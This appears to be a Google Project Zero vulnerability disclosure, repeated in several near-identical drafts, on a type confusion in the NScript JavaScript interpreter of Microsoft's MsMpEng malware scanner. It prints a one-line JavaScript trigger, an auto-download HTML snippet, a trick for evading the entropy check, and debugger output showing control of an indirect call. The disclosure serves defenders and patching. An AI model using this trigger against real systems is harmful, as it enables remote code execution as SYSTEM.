MPEngine is a remotely accessible component of MsMpEng, the Malware Protection service that is enabled by default on Windows 8, 8.1, 10 and Windows Server 2008 and 2012. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and Microsoft Forefront all use MPEngine. This code runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible via Exchange, Outlook, IIS, Web Browsers and so on.
Vulnerabilities in MPEngine are among the most severe possible in Microsoft Windows, due to the privilege and accessibility of the MsMpEng service.
NScript is the ECMAScript interpreter component of MPEngine, which evaluates any filesystem or network activity that looks like JavaScript. We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent().
In pseudocode, the code does something like this:
prophash = JsObject::genPropHash("message", 0);
RuntimeState::getThisPtr(&thisptr)
if (JsObject::get(thisptr, prophash, &message)) {
JsRuntimeState::triggerShortStrEvent("error_tostring", message);
}
The method assumes that message is a string, but it can be of any type. This type confusion allows an attacker to pass arbitrary other objects to the
routine. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the objects vtable.
int __fastcall JsString::numBytes(JsString this)
{
if ( this == 0x12 )
return 0;
if ( (this & 0x12) == 0x12 )
return this >> 5;
return this->vtbl->GetLength(this);
}
The engine supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length.
Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible).
This code is executed by MsMpEng, which runs as NT AUTHORITY\SYSTEM, and is enabled by default on Windows 8, 8.1, 10, Windows Server 2008 and Windows Server 2012.
3: kd> !process
PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8
DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433.
Image: MsMpEng.exe
3: kd> !token -n
_EPROCESS 8805fd28, _TOKEN 00000000
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
Any filesystem activity, including receiving an email or browsing the web is enough to trigger this vulnerability. Any Exchange or IIS server can be
compromised by attaching or POSTing an exploit to an email or request. Here, I simply visited a website that did this:
<a href="testcase.txt" download id=link>
<script>
document.getElementById("link").click();
</script>
3: kd> .lastevent
Last event: Access violation - code c0000005 (first chance)
debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00)
3: kd> r
eax=00000010 ebx=1156c968 ecx=41414111 edx=115730f8 esi=68bd9100 edi=41414111
eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414111=????????
3: kd> lmv mmpengine
start end module name
68790000 6917a000 mpengine (export symbols) mpengine.dll
Loaded symbol image file: mpengine.dll
Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll
Image name: mpengine.dll
Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1)
CheckSum: 00A1330D
ImageSize: 009EA000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
3: kd> u
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi]
001b:68b1f5f4 56 push esi
001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8]
001b:68b1f5f8 8bce mov ecx,esi
001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)]
001b:68b1f600 8bcf mov ecx,edi
001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address
001b:68b1f604 5e pop esi
To trigger this vulnerability, an attacker can use script like this:
(new Error()).toString.call({message: 0x41414111 >> 1})
However, this is not enough to trigger the heuristics that enable the Nscript evaluation. The heuristic estimate entropy before deciding whether to evaluate any javascript, but appending some complex comments is enough to trigger this. The attached proof of concept demonstrates this, but accessing it will immediately crash MsMpEng and destabilize your system. Sharing this report via Outlook or Exchange will also cause network problems, and extra care should be taken.
Additionally, as mpengine will unpack arbitrarily deeply nested archives and supports over 300 different obscure and esoteric archive formats, there is no reasonable way to identify an exploit at the network level.
Note
I have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity.
The testcase I've sent to Microsoft is encrypted with the random password "Ahcee7Fo" to avoid crashing their Exchange server.
This vulnerability was discovered by Natalie Silvanovich and Tavis Ormandy.
This bug is subject to a 90 day disclosure deadline. After 90 days elapseor a patch has been made broadly available, the bug report will becomevisible to the public.
Mpengine is a component of MsMpEng, the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products also use MPENGINE. In general, this code runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, such as Exchange, IIS, SMB, and so on. On workstations, attackers can access mpengine by sending emails to Outlook users, visiting links in a web browser, or even receiving an email in a webmail service like GMail. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files and other temp files, unconfirmed downloads, attachments, etc) is enough to access functionality in mpengine.
Vulnerabilities in MPEngine are among the most severe possible in Windows, due to the privilege, accessibility, and almost ubiquitous usage of the MsMpEng service.
Mpengine is a vast and complex attack surface, comprising of handlers for dozens of common and esoteric archive formats, executable packers and cryptors, emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers. NScript is the component of mpengine that evaluates and interprets ECMAScript. NScript evaluates any filesystem or network activity that looks like JavaScript.
To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted JavaScript, by default on all modern Windows systems. This is as surprising as it sounds.
We have written a tool to access Nscript via a command shell for testing, that allows us to explore and evaluate this JavaScript engine:
$ mpscript
main(): Please wait, initializing engine...
main(): Ready, type javascript (history available, use arrow keys)
> 1+1
JavaScriptLog(): 2
> document.location.hostname
JavaScriptLog(): www.myserver.com
> "abcd" + String.fromCharCode(0x3f)
JavaScriptLog(): abcd?
JavaScriptLog(): SyntaxError: assignment to invalid value
> /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX?
JavaScriptLog(): yes
> for (i in document) log(i)
JavaScriptLog(): appendChild
JavaScriptLog(): attributes
JavaScriptLog(): childNodes
JavaScriptLog(): createElement
JavaScriptLog(): createTextNode
JavaScriptLog(): getElementById
JavaScriptLog(): getElementsByTagName
JavaScriptLog(): write
JavaScriptLog(): writeln
JavaScriptLog(): referrer
JavaScriptLog(): cookie
JavaScriptLog(): location
JavaScriptLog(): undefined
> 6 * 9
JavaScriptLog(): 54
> window.ScriptEngineBuildVersion
JavaScriptLog(): [object Function]
> window.ScriptEngineBuildVersion()
JavaScriptLog(): 8831
We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent().
In pseudocode, the code does something like this:
prophash = JsObject::genPropHash("message", 0);
RuntimeState::getThisPtr(&thisptr)
if (JsObject::get(thisptr, prophash, &message)) {
JsRuntimeState::triggerShortStrEvent("error_tostring", message);
}
The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable.
int __fastcall JsString::numBytes(JsString this)
{
if ( this == 0x12 )
return 0;
if ( (this & 0x12) == 0x12 )
return this >> 5;
return this->vtbl->GetLength(this);
}
Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length.
Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible).
Any filesystem activity, including receiving an email or browsing the web is enough to trigger this vulnerability. Any Exchange or IIS server can be compromised by attaching or POSTing an exploit to an email or request. Here, I simply visited a website that did this:
<a href="testcase.txt" download id=link>
<script>
document.getElementById("link").click();
</script>
3: kd> !process
PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8
DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433.
Image: MsMpEng.exe
3: kd> !token -n
_EPROCESS 8805fd28, _TOKEN 00000000
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
3: kd> .lastevent
Last event: Access violation - code c0000005 (first chance)
debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00)
3: kd> r
eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141
eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=????????
3: kd> lmv mmpengine
start end module name
68790000 6917a000 mpengine (export symbols) mpengine.dll
Loaded symbol image file: mpengine.dll
Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll
Image name: mpengine.dll
Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1)
CheckSum: 00A1330D
ImageSize: 009EA000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
3: kd> u
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi]
001b:68b1f5f4 56 push esi
001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8]
001b:68b1f5f8 8bce mov ecx,esi
001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)]
001b:68b1f600 8bcf mov ecx,edi
001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address
001b:68b1f604 5e pop esi
MPengine uses a number of heuristics to decide if evaluating JavaScript is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this. The attached proof of concept demonstrates this, but blease be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on.
As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible.
Note
I have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity.
This vulnerability was discovered by Natalie Silvanovich and Tavis Ormandy of Google Project Zero.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Mpengine is a component of MsMpEng, the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products also use MPENGINE. In general, this code runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, such as Exchange, IIS, SMB, and so on.
On workstations, attackers can access mpengine by sending emails to Outlook users, visiting links in a web browser, or even receiving an email in a webmail service like GMail. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files and other temp files, unconfirmed downloads, attachments, etc) is enough to access functionality in mpengine.
Vulnerabilities in MPEngine are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the MsMpEng service.
Mpengine is a vast and complex attack surface, comprising of handlers for dozens of common and esoteric archive formats, executable packers and cryptors, emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers. NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript.
To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds.
We have written a tool to access NScript via a command shell for testing, and allows us to explore and evaluate it:
$ mpscript
main(): Please wait, initializing engine...
main(): Ready, type javascript (history available, use arrow keys)
> 6 * 9
JavaScriptLog(): 54
> document.location.hostname
JavaScriptLog(): www.myserver.com
> "abcd" + String.fromCharCode(0x3f)
JavaScriptLog(): abcd?
> /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX?
JavaScriptLog(): yes
> for (i in document) log(i)
JavaScriptLog(): appendChild
JavaScriptLog(): attributes
JavaScriptLog(): childNodes
JavaScriptLog(): createElement
JavaScriptLog(): createTextNode
JavaScriptLog(): getElementById
JavaScriptLog(): getElementsByTagName
JavaScriptLog(): write
JavaScriptLog(): writeln
JavaScriptLog(): referrer
JavaScriptLog(): cookie
JavaScriptLog(): location
JavaScriptLog(): undefined
> window.ScriptEngineBuildVersion
JavaScriptLog(): [object Function]
> window.ScriptEngineBuildVersion()
JavaScriptLog(): 8831
While testing, we have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent().
In pseudocode, the code does something like this:
prophash = JsObject::genPropHash("message", 0);
RuntimeState::getThisPtr(&thisptr)
if (JsObject::get(thisptr, prophash, &message)) {
JsRuntimeState::triggerShortStrEvent("error_tostring", message);
}
The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable.
int __fastcall JsString::numBytes(JsString this)
{
if ( this == 0x12 )
return 0;
if ( (this & 0x12) == 0x12 )
return this >> 5;
return this->vtbl->GetLength(this);
}
Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length.
Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible).
Any filesystem activity, including receiving an email or browsing the web is enough to trigger this vulnerability. Any Exchange or IIS server can be compromised by attaching or POSTing an exploit to an email or request. Here, I simply visited a website that did this:
<a href="testcase.txt" download id=link>
<script>
document.getElementById("link").click();
</script>
3: kd> !process
PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8
DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433.
Image: MsMpEng.exe
3: kd> !token -n
_EPROCESS 8805fd28, _TOKEN 00000000
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
3: kd> .lastevent
Last event: Access violation - code c0000005 (first chance)
debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00)
3: kd> r
eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141
eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=????????
3: kd> lmv mmpengine
start end module name
68790000 6917a000 mpengine (export symbols) mpengine.dll
Loaded symbol image file: mpengine.dll
Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll
Image name: mpengine.dll
Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1)
CheckSum: 00A1330D
ImageSize: 009EA000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
3: kd> u
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi]
001b:68b1f5f4 56 push esi
001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8]
001b:68b1f5f8 8bce mov ecx,esi
001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)]
001b:68b1f600 8bcf mov ecx,edi
001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address
001b:68b1f604 5e pop esi
MPengine uses a number of heuristics to decide if evaluating JavaScript is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this.
The attached proof of concept demonstrates this, but please be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on.
As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible.
We have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity (you can still initiate manual scans, but it seems prudent to do so on trusted files only, making the action pointless).
This vulnerability was discovered by Natalie Silvanovich and Tavis Ormandy of Google Project Zero.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
MsMpEng is the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products share the same core engine. MsMpEng runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, including Exchange, IIS, SMB, and so on.
On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files and other temp files, downloads (even unconfirmed downloads), attachments, etc) is enough to access functionality in mpengine. MIME types and file extensions are not relevant to this vulnerability, as MsMpEng uses it's own content identification system.
Vulnerabilities in MsMpEng are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the MsMpEng service.
The core component of MsMpEng responsible for scanning and analysis is called mpengine. Mpengine is a vast and complex attack surface, comprising of handlers for dozens of esoteric archive formats, executable packers and cryptors, full system emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers.
NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript. To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds.
We have written a tool to access NScript via a command shell for testing, allowing us to explore and evaluate it:
$ mpscript
main(): Please wait, initializing engine...
main(): Ready, type javascript (history available, use arrow keys)
> 6 * 9
JavaScriptLog(): 54
> document.location.hostname
JavaScriptLog(): www.myserver.com
> "abcd" + String.fromCharCode(0x3f)
JavaScriptLog(): abcd?
> /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX?
JavaScriptLog(): yes
> for (i in document) log(i)
JavaScriptLog(): appendChild
JavaScriptLog(): attributes
JavaScriptLog(): childNodes
JavaScriptLog(): createElement
JavaScriptLog(): createTextNode
JavaScriptLog(): getElementById
JavaScriptLog(): getElementsByTagName
JavaScriptLog(): write
JavaScriptLog(): writeln
JavaScriptLog(): referrer
JavaScriptLog(): cookie
JavaScriptLog(): location
JavaScriptLog(): undefined
> window.ScriptEngineBuildVersion
JavaScriptLog(): [object Function]
> window.ScriptEngineBuildVersion()
JavaScriptLog(): 8831
We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent().
In pseudocode, the code does something like this:
prophash = JsObject::genPropHash("message", 0);
RuntimeState::getThisPtr(&thisptr)
if (JsObject::get(thisptr, prophash, &message)) {
JsRuntimeState::triggerShortStrEvent("error_tostring", message);
}
The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable.
int __fastcall JsString::numBytes(JsString this)
{
if ( this == 0x12 )
return 0;
if ( (this & 0x12) == 0x12 )
return this >> 5;
return this->vtbl->GetLength(this);
}
Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length.
Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible).
To reproduce this vulnerability, download the attached testcase. The debugging session below was captured after visiting a website that did this:
<a href="testcase.txt" download id=link>
<script>
document.getElementById("link").click();
</script>
3: kd> !process
PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8
DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433.
Image: MsMpEng.exe
3: kd> !token -n
_EPROCESS 8805fd28, _TOKEN 00000000
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
3: kd> .lastevent
Last event: Access violation - code c0000005 (first chance)
debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00)
3: kd> r
eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141
eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=????????
3: kd> lmv mmpengine
start end module name
68790000 6917a000 mpengine (export symbols) mpengine.dll
Loaded symbol image file: mpengine.dll
Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll
Image name: mpengine.dll
Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1)
CheckSum: 00A1330D
ImageSize: 009EA000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
3: kd> u
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi]
001b:68b1f5f4 56 push esi
001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8]
001b:68b1f5f8 8bce mov ecx,esi
001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)]
001b:68b1f600 8bcf mov ecx,edi
001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address
001b:68b1f604 5e pop esi
Before executing JavaScript, mpengine uses a number of heuristics to decide if evaluation is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this.
The attached proof of concept demonstrates this, but please be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on.
As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible.
We have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity (you can still initiate manual scans, but it seems prudent to do so on trusted files only, making the action pointless).
This vulnerability was discovered by Natalie Silvanovich and Tavis Ormandy of Google Project Zero.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
MsMpEng is the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products share the same core engine. MsMpEng runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, including Exchange, IIS, and so on.
On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc) is enough to access functionality in mpengine. MIME types and file extensions are not relevant to this vulnerability, as MsMpEng uses it's own content identification system.
Vulnerabilities in MsMpEng are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the service.
The core component of MsMpEng responsible for scanning and analysis is called mpengine. Mpengine is a vast and complex attack surface, comprising of handlers for dozens of esoteric archive formats, executable packers and cryptors, full system emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers.
NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript. To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds.
We have written a tool to access NScript via a command shell for testing, allowing us to explore and evaluate it:
$ mpscript
main(): Please wait, initializing engine...
main(): Ready, type javascript (history available, use arrow keys)
> 6 * 9
JavaScriptLog(): 54
> document.location.hostname
JavaScriptLog(): www.myserver.com
> "abcd" + String.fromCharCode(0x3f)
JavaScriptLog(): abcd?
> /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX?
JavaScriptLog(): yes
> for (i in document) log(i)
JavaScriptLog(): appendChild
JavaScriptLog(): attributes
JavaScriptLog(): childNodes
JavaScriptLog(): createElement
JavaScriptLog(): createTextNode
JavaScriptLog(): getElementById
JavaScriptLog(): getElementsByTagName
JavaScriptLog(): write
JavaScriptLog(): writeln
JavaScriptLog(): referrer
JavaScriptLog(): cookie
JavaScriptLog(): location
JavaScriptLog(): undefined
> window.ScriptEngineBuildVersion
JavaScriptLog(): [object Function]
> window.ScriptEngineBuildVersion()
JavaScriptLog(): 8831
We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent().
In pseudocode, the code does something like this:
prophash = JsObject::genPropHash("message", 0);
RuntimeState::getThisPtr(&thisptr)
if (JsObject::get(thisptr, prophash, &message)) {
JsRuntimeState::triggerShortStrEvent("error_tostring", message);
}
The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable.
int __fastcall JsString::numBytes(JsString this)
{
if ( this == 0x12 )
return 0;
if ( (this & 0x12) == 0x12 )
return this >> 5;
return this->vtbl->GetLength(this);
}
Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length.
Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible).
To reproduce this vulnerability, download the attached testcase. The debugging session below was captured after visiting a website that did this:
<a href="testcase.txt" download id=link>
<script>
document.getElementById("link").click();
</script>
3: kd> !process
PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8
DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433.
Image: MsMpEng.exe
3: kd> !token -n
_EPROCESS 8805fd28, _TOKEN 00000000
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
3: kd> .lastevent
Last event: Access violation - code c0000005 (first chance)
debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00)
3: kd> r
eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141
eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=????????
3: kd> lmv mmpengine
start end module name
68790000 6917a000 mpengine (export symbols) mpengine.dll
Loaded symbol image file: mpengine.dll
Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll
Image name: mpengine.dll
Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1)
CheckSum: 00A1330D
ImageSize: 009EA000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
3: kd> u
mpengine!FreeSigFiles+0xec822:
001b:68b1f5f2 8b07 mov eax,dword ptr [edi]
001b:68b1f5f4 56 push esi
001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8]
001b:68b1f5f8 8bce mov ecx,esi
001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)]
001b:68b1f600 8bcf mov ecx,edi
001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address
001b:68b1f604 5e pop esi
